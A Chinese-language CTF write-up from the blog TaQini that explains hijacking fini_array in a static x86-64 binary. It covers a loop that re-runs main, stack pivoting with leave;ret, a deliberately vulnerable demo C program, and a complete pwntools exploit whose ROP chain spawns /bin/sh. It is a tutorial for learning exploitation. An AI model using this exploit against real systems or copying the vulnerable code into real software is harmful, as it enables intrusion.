通過利用fini_array部署並啓動ROP攻擊 | TaQini

這篇文章源自pwnable.tw上的一道題目3x17,其中用到了fini_array劫持,比較有意思,於是寫篇文章分析記錄總結一下關於fini_array的利用方式~

0x0 背景

gdb調試main函數的時候,不難發現main的返回地址是__libc_start_main

也就是說main並不是程序真正開始的地方,__libc_start_mainmain的爸爸

然鵝,__libc_start_main也有爸爸,他就是_start

也就是Entry point程序的進入點啦,可以通過readelf -h查看:

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401a60
  Start of program headers:          64 (bytes into file)
  Start of section headers:          835672 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         8
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

這是一個64位靜態編譯的ELF程序

其中,Entry point address: 0x401a60就是_start的地址:

.text:0000000000401A60                 public start
.text:0000000000401A60 start           proc near               
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60                 xor     ebp, ebp
.text:0000000000401A62                 mov     r9, rdx
.text:0000000000401A65                 pop     rsi
.text:0000000000401A66                 mov     rdx, rsp
.text:0000000000401A69                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D                 push    rax
.text:0000000000401A6E                 push    rsp
.text:0000000000401A6F                 mov     r8, offset sub_402BD0 ; fini
.text:0000000000401A76                 mov     rcx, offset loc_402B40 ; init
.text:0000000000401A7D                 mov     rdi, offset main
.text:0000000000401A84                 db      67h
.text:0000000000401A84                 call    __libc_start_main
.text:0000000000401A8A                 hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start           endp

64位程序通過寄存器來保存函數參數:

  	    rdi - first argument
  	    rsi - second argument
  	    rdx - third argument
  	    rcx - fourth argument
  	    r8  - fifth argument
  	    r9  - sixth argument

0x1 __libc_start_main分析

對應_start的代碼,可以發現__libc_start_main函數的參數中,有3個是函數指針:

  • rdi <- main
  • rcx <- __libc_csu_init
  • r8 <- __libc_csu_fini

不難想到,除main以外的這兩位兄弟,一位在main開始執行前執行,一位在main執行完畢後執行

__libc_csu_fini函數

__libc_csu_fini就是在main執行完畢後執行的那位,這兄弟雖然只有短短几行指令,但是能利用的點卻不少,他長這樣:

pwndbg> x/20i 0x402bd0
   0x402bd0 <__libc_csu_fini>:	push   rbp
   0x402bd1 <__libc_csu_fini+1>:	lea    rax,[rip+0xb24e8]        # 0x4b50c0 
   0x402bd8 <__libc_csu_fini+8>:	lea    rbp,[rip+0xb24d1]        # 0x4b50b0 
   0x402bdf <__libc_csu_fini+15>:	push   rbx
   0x402be0 <__libc_csu_fini+16>:	sub    rax,rbp
   0x402be3 <__libc_csu_fini+19>:	sub    rsp,0x8
   0x402be7 <__libc_csu_fini+23>:	sar    rax,0x3
   0x402beb <__libc_csu_fini+27>:	je     0x402c06 <__libc_csu_fini+54>
   0x402bed <__libc_csu_fini+29>:	lea    rbx,[rax-0x1]
   0x402bf1 <__libc_csu_fini+33>:	nop    DWORD PTR [rax+0x0]
   0x402bf8 <__libc_csu_fini+40>:	call   QWORD PTR [rbp+rbx*8+0x0]
   0x402bfc <__libc_csu_fini+44>:	sub    rbx,0x1
   0x402c00 <__libc_csu_fini+48>:	cmp    rbx,0xffffffffffffffff
   0x402c04 <__libc_csu_fini+52>:	jne    0x402bf8 <__libc_csu_fini+40>
   0x402c06 <__libc_csu_fini+54>:	add    rsp,0x8
   0x402c0a <__libc_csu_fini+58>:	pop    rbx
   0x402c0b <__libc_csu_fini+59>:	pop    rbp
   0x402c0c <__libc_csu_fini+60>:	jmp    0x48f52c <_fini>

下面先概括的說下這個函數可利用的點,在後面會詳細分析

利用方式 - 棧遷移

首先,看下面這條指令:

0x402bd8: lea rbp,[rip+0xb24d1] # 0x4b50b0

rbp = 0x4b50b00x4b50b0fini_array的首地址

這條指令相當於lea rbp,[fini_array],因此,在這裏配合gadget:

leave ; (mov rsp,ebp; pop rbp)
ret

便可以把__棧遷移__到fini_arrayfini_array存儲的函數指針,可能有__寫權限__)

利用方式 - 控制流劫持

下面還有一條call指令:

0x402bf8: call QWORD PTR [rbp+rbx*8]

rbp即爲fini_array,因此這裏將調用fini_array中的函數

只要修改fini_array中的值,就可以實現__控制流的轉移__啦(傳說中的fini_array劫持)

這裏分析的64位的靜態編譯程序,可見其中的__libc_csu_fini函數簡直好用的不得了鴨,既可以完成__棧遷移__,又能夠劫持__控制流__

動態鏈接的程序__libc_csu_fini很短,並沒有上述指令…但是也有類似fini_array的函數指針

0x2 fini_array分析

fini_array的地址可通過查看靜態編譯程序的section信息獲得:

pwndbg> elfheader 
0x400200 - 0x400224  .note.gnu.build-id
0x400224 - 0x400244  .note.ABI-tag
0x400248 - 0x400470  .rela.plt
0x401000 - 0x401017  .init
0x401018 - 0x4010d0  .plt
0x4010d0 - 0x48d630  .text
0x48d630 - 0x48f52b  __libc_freeres_fn
0x48f52c - 0x48f535  .fini
0x490000 - 0x4a95dc  .rodata
0x4a95dc - 0x4a95dd  .stapsdt.base
0x4a95e0 - 0x4b3d00  .eh_frame
0x4b3d00 - 0x4b3da9  .gcc_except_table
0x4b5080 - 0x4b50a0  .tdata
0x4b50a0 - 0x4b50b0  .init_array
0x4b50a0 - 0x4b50e0  .tbss
0x4b50b0 - 0x4b50c0  .fini_array
0x4b50c0 - 0x4b7ef4  .data.rel.ro
0x4b7ef8 - 0x4b7fe8  .got
0x4b8000 - 0x4b80d0  .got.plt
0x4b80e0 - 0x4b9bf0  .data
0x4b9bf0 - 0x4b9c38  __libc_subfreeres
0x4b9c40 - 0x4ba2e8  __libc_IO_vtables
0x4ba2e8 - 0x4ba2f0  __libc_atexit
0x4ba300 - 0x4bba78  .bss
0x4bba78 - 0x4bbaa0  __libc_freeres_ptrs

其中0x4b50b0 - 0x4b50c0.fini_array數組,其中存在兩個函數指針:

pwndbg> x/2xg 0x4b50b0
0x4b50b0:	0x0000000000401b10	0x0000000000401580
pwndbg> x/i 0x0000000000401b10
   0x401b10 <__do_global_dtors_aux>:	cmp    BYTE PTR [rip+0xb87e9],0x0
pwndbg> x/i 0x0000000000401580
   0x401580 <fini>:	mov    rax,QWORD PTR [rip+0xb9b71]

array[0]->__do_global_dtors_aux
array[1]->fini

這兩個函數都會在main執行完畢後執行,因此只要__覆蓋這兩個函數指針,即可實現控制流的劫持__

此外,靜態鏈接的程序也有PLT表和GOT表,也可以覆蓋通過GOT中的函數指針實現控制流劫持

上述fini_array中的兩個函數指針在__libc_csu_fini(上文說的那位兄弟)中被執行

執行的順序是array[1]->array[0](後有詳解)

0x3 一種好玩兒的利用方式

循環大法

一種比較好玩兒的操作:

  • array[0]的值覆蓋爲那位兄弟(__libc_csu_fini函數)的地址
  • array[1]的值覆蓋爲另一個函數地址,就叫他addrA

於是,main執行完畢後執行__libc_csu_fini,於是有意思的來了!

  • __libc_csu_fini先執行一遍array[1]:addrA,返回後再執行array[0]:__libc_csu_fini
  • __libc_csu_fini先執行一遍array[1]:addrA,返回後再執行array[0]:__libc_csu_fini
  • __libc_csu_fini先執行一遍array[1]:addrA,返回後再執行array[0]:__libc_csu_fini

看!連起來啦~ main->__libc_csu_fini->addrA->__libc_csu_fini->addrA-> ......

因吹斯汀~

詳細過程

詳細的過程如下:

   0x402bd1 <__libc_csu_fini+1>:	lea    rax,[rip+0xb24e8]        # 0x4b50c0 
   0x402bd8 <__libc_csu_fini+8>:	lea    rbp,[rip+0xb24d1]        # 0x4b50b0 
   0x402bdf <__libc_csu_fini+15>:	push   rbx
   0x402be0 <__libc_csu_fini+16>:	sub    rax,rbp
   0x402be3 <__libc_csu_fini+19>:	sub    rsp,0x8
   0x402be7 <__libc_csu_fini+23>:	sar    rax,0x3

rax = 0x4b50c0 - 0x4b50b0 = 0x10
rax = 0x10 >> 3 = 2

   0x402bed <__libc_csu_fini+29>:	lea    rbx,[rax-0x1]
   0x402bf1 <__libc_csu_fini+33>:	nop    DWORD PTR [rax+0x0]
   0x402bf8 <__libc_csu_fini+40>:	call   QWORD PTR [rbp+rbx*8+0x0]

rbx = rax-1 = 1
call [rbp+rbx*8+0x0]call array[1]call addrA

   0x402bfc <__libc_csu_fini+44>:	sub    rbx,0x1
   0x402c00 <__libc_csu_fini+48>:	cmp    rbx,0xffffffffffffffff
   0x402c04 <__libc_csu_fini+52>:	jne    0x402bf8 <__libc_csu_fini+40>

addrA執行完畢後返回到0x402bfc
rbx = rbp - 1 = 0
rbx != -1,滿足跳轉條件

於是,程序控制流又回到了那位兄弟手中:

   0x402bf8 <__libc_csu_fini+40>:	call   QWORD PTR [rbp+rbx*8+0x0]

此時執行的是call array[1]call __libc_csu_finicall自己個兒啊)

於是循環往復,只要array[0]中的__libc_csu_fini值不變,程序就會一直循環執行addrA

當然,將array[1]中的addrA改成其他的addrBaddrC也都會執行

想要終止循環,只需把array[0]中的__libc_csu_fini換掉即可

就這樣,那位兄弟只要佔住了array[0]這個坑,就可以讓addrA無限次的執行下去啦

小結一下

  1. x64靜態編譯程序,劫持fini_array

    • array[0]覆蓋爲__libc_csu_fini
    • array[1]覆蓋爲另一地址addrA
  2. 程序將循環執行addrA

  3. 終止條件爲array[0]不再爲__libc_csu_fini

相當於:

while (array[0] == __libc_csu_fini){
	addrA();
}

這其實是一種可以讓漏洞被重複利用的方式,比如addrA中存在任意寫字節內存漏洞,通過上面這個循環就可以將漏洞放大,實現任意寫字節

0x4 ROP攻擊

上述利用方式可以與ROP攻擊相結合

雖說直接用one_gadget比較方便,但是有時還是需要用到ROP的…

棧遷移

由於劫持控制流的位置是在程序執行完畢後的fini_array中,因此在ROP攻擊前,需要先進行__棧遷移__:

leave; ret相當於執行如下操作:

  • mov rsp, rbp (fini_array->rsp)
  • pop rbp (fini_array->rbp)
  • ret (fini_array+0x8->ret )

這裏有兩種棧遷移方法:

第一種:在array[1]處遷移棧(需遷移兩次)

  • fini_array+0x0:(data)fini_array+0x8
  • fini_array+0x8:(gadget)leave_ret
  • fini_array+0x10:rop chain

第二種:跳過array[1],在array[0]處遷移棧

  • fini_array+0x0:(gadget)leave_ret
  • fini_array+0x8:(gadget)ret
  • fini_array+0x10:rop chain

這兩種方法都可以達到棧遷移的目的,直接說比較難理解,待會實際調試一下就明白啦(下面有例子)

總之,向fini_array+0x10,fini_array+0x18...中依次佈置gadget

構造好了ROP鏈,就可以完成ROP攻擊啦~

舉個栗子

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
	char buf[30];
	write(1,"addr:",5);
	read(0,&buf,200);
	int *addr = buf;
	write(1,"data:",5);
	read(0,*addr,24);
	return 0;
}
$ gcc demo.c -no-pie --static -o demo

漏洞分析

很明顯,存在任意寫內存的漏洞,可以改寫任意內存位置的連續24個字節。利用方式如下:

ru('addr:')
sl(p64(addr))
ru('data:')
se(p64(data1)+p64(data2)+p64(data3))

漏洞放大

24字節顯然不夠,於是可以用上文提到的循環大法:

array[0]->__libc_csu_fini
array[1]->main

main函數多執行幾次,這樣就可以控制足夠大的內存空間,往裏面佈置ROP鏈啦~

攻擊思路

就這個栗子而言,ROP攻擊的思路大概是這樣:

  • 利用任意寫,劫持fini_array
  • 循環執行main,利用任意寫,將ROP鏈佈置到fini_array+0x10
  • 終止循環,並將棧遷移到fini_array+0x10執行ROP

劫持fini_array+循環利用

改寫fini_array的兩個函數指針,開啓循環大法:

array[0]->__libc_csu_fini
array[1]->main

ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))

佈置ROP鏈

執行SYS_execve('/bin/sh',0,0),需要完成以下寄存器的佈局:

RAX  0x3b
RDI  addr -> '/bin/sh'
RDX  0
RSI  0

對應的ROP鏈如下:

pop_rdi=0x00000000004016a6     # pop rdi ; ret
pop_rax=0x0000000000447bbc     # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434   # syscall
bin_sh_addr=fini_array+0x50    # ropchain start at fini_array+0x10

ropchain = [p64(pop_rdi),p64(bin_sh_addr),
            p64(pop_rax),p64(0x3b),
            p64(pop_rdx_rsi),p64(0),p64(0),
            p64(syscall),
            "/bin/sh\x00"]

# write ropchain to fini_array
for i in range(len(ropchain)):
    ru('addr:')
    sl(p64(fini_array+0x10+i*8))
    ru('data:')
    se(ropchain[i])

跳出循環

佈置完ROP鏈,就可以跳出循環了,改寫fini_array中的函數指針,順便準備棧遷移

array[0]->gadget:leave;ret
array[1]->gadget:ret

ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(leave)+p64(ret)) # break loop and stack pivot

棧遷移

跳出循環後,通過leave_ret完成__棧遷移__,執行ROP鏈:

這裏用的是上文中的第二種棧遷移方式:

  • fini_array+0x0:(gadget)leave_ret
  • fini_array+0x8:(gadget)ret
  • fini_array+0x10:rop chain

這是因爲循環大法中的array[1]mainmain返回後將執行array[0]處的函數:

leave執行前:

0x401c29 <main+172>              leave  
   0x401c2a <main+173>              ret    
    ↓
   0x401016 <_init+22>              ret    
    ↓
   0x4016a6 <init_cacheinfo+230>    pop    rdi
   0x4016a7 <init_cacheinfo+231>    ret    
    ↓
   0x447bbc <__open_nocancel+92>    pop    rax

pwndbg> x/10xg $rsp
0x7fff85f385c8:	0x0000000000402bfc	0x00000000004b50f8
0x7fff85f385d8:	0x0000000000000000	0x00000000004b50b0
0x7fff85f385e8:	0x0000000000402bfc	0x00000000004b50f0
0x7fff85f385f8:	0x0000000000000000	0x00000000004b50b0
0x7fff85f38608:	0x0000000000402bfc	0x00000000004b50e8

leave執行後,棧被遷移到fini_array+0x8,即array[1],但是這裏並不是ROP鏈的開始,因此需要在array[1]這裏用只含ret一個指令的gadget,讓控制流後移,進入到fini_array+0x10ROP鏈中

   0x401c29 <main+172>              leave  
 ► 0x401c2a <main+173>              ret             <0x401016; _init+22>0x401016 <_init+22>              ret    
    ↓
   0x4016a6 <init_cacheinfo+230>    pop    rdi
   0x4016a7 <init_cacheinfo+231>    ret    
    ↓
   0x447bbc <__open_nocancel+92>    pop    rax

pwndbg> x/10xg $rsp
0x4b50b8:	0x0000000000401016	0x00000000004016a6
0x4b50c8:	0x00000000004b5100	0x0000000000447bbc
0x4b50d8:	0x000000000000003b	0x000000000044a659
0x4b50e8:	0x0000000000000000	0x0000000000000000
0x4b50f8:	0x0000000000402434	0x0068732f6e69622f

ROP鏈執行完畢後就會執行SYS_execve('/bin/sh',0,0)啦~

exp

最後,附上這個栗子的exp

#!/usr/bin/python
#__author__:TaQini

from pwn import *

local_file  = './pwn4'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6'

if len(sys.argv) == 1:
    p = process(local_file)
    libc = ELF(local_libc)
elif len(sys.argv) > 1:
    if len(sys.argv) == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    else:
        host, port = sys.argv[1].split(':')
    p = remote(host, port)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
    gdb.attach(p,cmd)

# info
# gadget
leave = 0x0000000000401c29 # leave ; ret
ret = 0x0000000000401016 # ret
pop_rdi=0x00000000004016a6 # pop rdi ; ret
pop_rax=0x0000000000447bbc # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434 # syscall

# elf, libc
fini_array = 0x4b50b0
libc_csu_fini = 0x0402BD0 # __libc_csu_fini
main = 0x0401B7D
bin_sh_addr=fini_array+0x50
ropchain = [p64(pop_rdi),p64(bin_sh_addr),
            p64(pop_rax),p64(0x3b),
            p64(pop_rdx_rsi),p64(0),p64(0),
            p64(syscall),
            "/bin/sh\x00"]

# do loop :write any value to any addr
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))

# ropchain
for i in range(len(ropchain)):
    ru('addr:')
    sl(p64(fini_array+0x10+i*8))
    ru('data:')
    se(ropchain[i])
    
ru('addr:')
sl(p64(fini_array))
ru('data:')
# debug()
se(p64(leave)+p64(ret)) # break loop and stack pivot

p.interactive()

0x5 總結

以上就是如何利用fini_array部署、啓動一次ROP攻擊

爲了方便說明,這篇文章中我用的是64位靜態編譯程序,沒開啓PIE保護,GOT表等函數指針也可以改寫,但是這並不說明這種利用方式是有侷限的。即使保護全開,不是靜態編譯,也可以通過同樣的思路進行攻擊,比如ACTF2020fmt64,就是利用這種思路進行攻擊的。傳送門

博客原文

近期例題
MidnightCTF2020-pwn6

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章